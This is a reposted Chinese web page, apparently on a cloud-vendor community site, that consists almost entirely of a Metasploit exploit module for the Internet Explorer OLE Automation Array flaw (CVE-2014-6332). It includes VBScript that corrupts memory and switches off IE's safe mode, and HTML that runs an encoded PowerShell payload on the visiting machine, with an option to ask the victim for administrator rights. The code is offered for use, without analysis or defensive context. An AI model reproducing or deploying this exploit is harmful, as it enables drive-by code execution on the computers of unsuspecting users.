中國寒龍出品-Windows IE瀏覽器OLE自動化陣遠程執行代碼漏洞

來源:互聯網
上載者:User

標籤:

### This module requires Metasploit: http://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##  require ‘msf/core‘require ‘msf/core/exploit/powershell‘ class Metasploit4 < Msf::Exploit::Remote  Rank = ExcellentRanking   include Msf::Exploit::Remote::BrowserExploitServer  include Msf::Exploit::Remote::BrowserAutopwn  include Msf::Exploit::Powershell   autopwn_info({    :ua_name    => HttpClients::IE,    :ua_minver  => "3.0",    :ua_maxver  => "10.0",    :javascript => true,    :os_name    => OperatingSystems::Match::WINDOWS,    :rank       => ExcellentRanking  })   def initialize(info={})    super(update_info(info,      ‘Name‘           => "Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution",      ‘Description‘    => %q{        This module exploits Windows OLE Automation Array Vulnerability known as CVE-2014-6332.        The vulnerability affects Internet Explorer 3.0 until version 11 within Windows95 up to Windows 10.        Powershell is required on the target machine. On Internet Explorer versions using Protected Mode,        the user has to manually allow powershell.exe to execute in order to be compromised.      },      ‘License‘        => MSF_LICENSE,      ‘Author‘         =>        [          ‘Robert Freeman‘, # IBM X-Force          ‘yuange‘, # twitter.com/yuange75          ‘Rik van Duijn‘, # twitter.com/rikvduijn          ‘Wesley Neelen‘, # security[at]forsec.nl          ‘GradiusX <francescomifsud[at]gmail.com>‘,          ‘b33f‘, # @FuzzySec        ],      ‘References‘     =>        [          [ ‘CVE‘, ‘2014-6332‘ ],          [ ‘MSB‘, ‘MS14-064‘ ],          [ ‘OSVDB‘, ‘114533‘ ],          [ ‘EDB‘, ‘35229‘ ],          [ ‘EDB‘, ‘35308‘ ],          [ ‘URL‘, ‘http://securityintelligence.com/ibm-x-force-researcher-finds-significant-vulnerability-in-microsoft-windows‘ ],          [ ‘URL‘, ‘https://forsec.nl/2014/11/cve-2014-6332-internet-explorer-msf-module‘ ]        ],      ‘Platform‘       => ‘win‘,      ‘Targets‘        =>        [          [ ‘Windows x86‘, { ‘Arch‘ => ARCH_X86 } ],        ],      ‘BrowserRequirements‘ =>        {          :source  => /script|headers/i,          :ua_name => HttpClients::IE,          :os_name => /win/i,          :arch    => ‘x86‘,          :ua_ver  => lambda { |ver| ver.to_i.between?(4, 10) }        },      ‘DefaultOptions‘ =>        {          ‘HTTP::compression‘ => ‘gzip‘        },      ‘Payload‘        =>        {          ‘BadChars‘        => "\x00"        },      ‘Privileged‘     => false,      ‘DisclosureDate‘ => "Nov 13 2014",      ‘DefaultTarget‘  => 0))       register_options(        [           OptBool.new(‘TRYUAC‘, [true, ‘Ask victim to start as Administrator‘, false]),        ], self.class )   end   def vbs_prepare()    code = %Q|dim   aa()dim   ab()dim   a0dim   a1dim   a2dim   a3dim   win9xdim   intVersiondim   rndadim   funclassdim   myarray Begin() nelinefunction Begin()  On Error Resume Next  info=Navigator.UserAgent   if(instr(info,"Win64")>0)   then     exit   function  end if   if (instr(info,"MSIE")>0)   then             intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))  else     exit   function   end if   win9x=0   BeginInit()  If Create()=True Then     myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)     myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)      if(intVersion<4) then         document.write("<br> IE")         document.write(intVersion)         runshellcode()     else          setnotsafemode()     end if  end ifend function function BeginInit()   Randomize()   redim aa(5)   redim ab(5)   a0=13+17*rnd(6)   a3=7+3*rnd(5)end function function Create()  On Error Resume Next  dim i  Create=False  For i = 0 To 400    If Over()=True Then    ‘   document.write(i)       Create=True       Exit For    End If  Nextend function sub testaa()end sub function mydata()    On Error Resume Next     i=testaa     i=null     redim  Preserve aa(a2)      ab(0)=0     aa(a1)=i     ab(0)=6.36598737437801E-314      aa(a1+2)=myarray     ab(2)=1.74088534731324E-310     mydata=aa(a1)     redim  Preserve aa(a0)end function function setnotsafemode()    On Error Resume Next    i=mydata()    i=readmemo(i+8)    i=readmemo(i+16)    j=readmemo(i+&h134)    for k=0 to &h60 step 4        j=readmemo(i+&h120+k)        if(j=14) then              j=0              redim  Preserve aa(a2)     aa(a1+2)(i+&h11c+k)=ab(4)              redim  Preserve aa(a0)      j=0              j=readmemo(i+&h120+k)                Exit for           end if     next    ab(2)=1.69759663316747E-313    runaaaa()end function function Over()    On Error Resume Next    dim type1,type2,type3    Over=False    a0=a0+a3    a1=a0+2    a2=a0+&h8000000     redim  Preserve aa(a0)    redim   ab(a0)     redim  Preserve aa(a2)     type1=1    ab(0)=1.123456789012345678901234567890    aa(a0)=10     If(IsObject(aa(a1-1)) = False) Then       if(intVersion<4) then           mem=cint(a0+1)*16           j=vartype(aa(a1-1))           if((j=mem+4) or (j*8=mem+8)) then              if(vartype(aa(a1-1))<>0)  Then                 If(IsObject(aa(a1)) = False ) Then                   type1=VarType(aa(a1))                 end if              end if           else             redim  Preserve aa(a0)             exit  function            end if        else           if(vartype(aa(a1-1))<>0)  Then              If(IsObject(aa(a1)) = False ) Then                  type1=VarType(aa(a1))              end if            end if        end if    end if      If(type1=&h2f66) Then          Over=True    End If    If(type1=&hB9AD) Then          Over=True          win9x=1    End If     redim  Preserve aa(a0) end function function ReadMemo(add)    On Error Resume Next    redim  Preserve aa(a2)     ab(0)=0    aa(a1)=add+4    ab(0)=1.69759663316747E-313    ReadMemo=lenb(aa(a1))     ab(0)=0     redim  Preserve aa(a0)end function     |   end   def get_html()     if datastore[‘TRYUAC‘]      tryuac = ‘runas‘    else      tryuac = ‘open‘    end     payl = cmd_psh_payload(payload.encoded,"x86",{ :remove_comspec => true })    payl.slice! "powershell.exe "    prep = vbs_prepare()     html = %Q|<!doctype html><html><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" ><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><body><script language="VBScript">function runaaaa()On Error Resume Next set shell=createobject("Shell.Application")shell.ShellExecute "powershell.exe", "#{payl}", "", "#{tryuac}", 0 end function</script><script language="VBScript">#{prep}</script></body></html>    |   end   def on_request_exploit(cli, request, target_info)    print_status("Requesting: #{request.uri}")    send_exploit_html(cli, get_html())  end end

中國寒龍出品-Windows IE瀏覽器OLE自動化陣遠程執行代碼漏洞

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.